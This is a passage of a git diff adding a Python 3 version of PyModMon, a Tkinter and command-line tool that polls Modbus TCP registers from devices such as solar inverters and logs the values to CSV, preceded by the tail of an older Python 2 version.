ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test 